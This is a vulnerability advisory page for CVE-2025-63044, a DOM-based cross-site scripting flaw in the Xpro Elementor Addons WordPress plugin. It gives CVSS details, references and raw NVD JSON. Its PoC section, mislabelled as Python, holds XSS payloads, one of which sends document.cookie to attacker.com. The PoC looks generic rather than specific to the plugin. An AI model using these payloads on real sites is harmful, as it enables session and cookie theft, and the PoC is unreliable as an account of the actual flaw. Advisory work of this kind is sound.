CVE-2025-63044

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Xpro Xpro Elementor Addons xpro-elementor-addons allows DOM-Based XSS.This issue affects Xpro Elementor Addons: from n/a through <= 1.4.19.1.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Xpro Elementor Addons <= 1.4.19.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-63044 DOM型XSS PoC
// 目标：Xpro Elementor Addons <= 1.4.19.1

// PoC 1: 通过URL参数触发XSS
// 攻击者构造恶意URL，受害者点击后触发XSS
const maliciousURL = 'https://victim-site.com/?param=<img src=x onerror=alert(document.cookie)>';

// PoC 2: 通过插件选择器功能注入
// 利用插件的动态内容加载功能
const xssPayload = "'><script>fetch('https://attacker.com/steal?c='+document.cookie)</script>";

// PoC 3: 利用事件处理器触发
const eventPayload = '" onmouseover="alert(String.fromCharCode(88,83,83))"';

// 实际利用示例代码
function exploitXSS() {
    // 模拟插件的输入处理
    const userInput = getUrlParameter('widget_data');
    
    // 漏洞代码：直接插入DOM而不转义
    document.getElementById('xpro-target').innerHTML = userInput;
    
    // 攻击者可以通过以下方式利用：
    // 1. 诱导用户访问: site.com?widget_data=<img src=x onerror=maliciousCode()>
    // 2. 在评论/表单中提交: <script>stealCookies()</script>
    // 3. 通过社交工程诱导点击恶意链接
}

// 防御检测：检查是否存在漏洞
function checkVulnerability() {
    const testPayload = '"<test>"';
    const targetElement = document.querySelector('.xpro-widget');
    if (targetElement) {
        targetElement.innerHTML = testPayload;
        return targetElement.innerHTML.includes('<test>');
    }
    return false;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-63044
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-63044
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-63044/
[4] VulDB https://vuldb.com/cve/CVE-2025-63044
[5] https://patchstack.com/database/Wordpress/Plugin/xpro-elementor-addons/vulnerability/wordpress-xpro-elementor-addons-plugin-1-4-19-1-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-63044", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:09.613", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Xpro Xpro Elementor Addons xpro-elementor-addons allows DOM-Based XSS.This issue affects Xpro Elementor Addons: from n/a through <= 1.4.19.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/xpro-elementor-addons/vulnerability/wordpress-xpro-elementor-addons-plugin-1-4-19-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}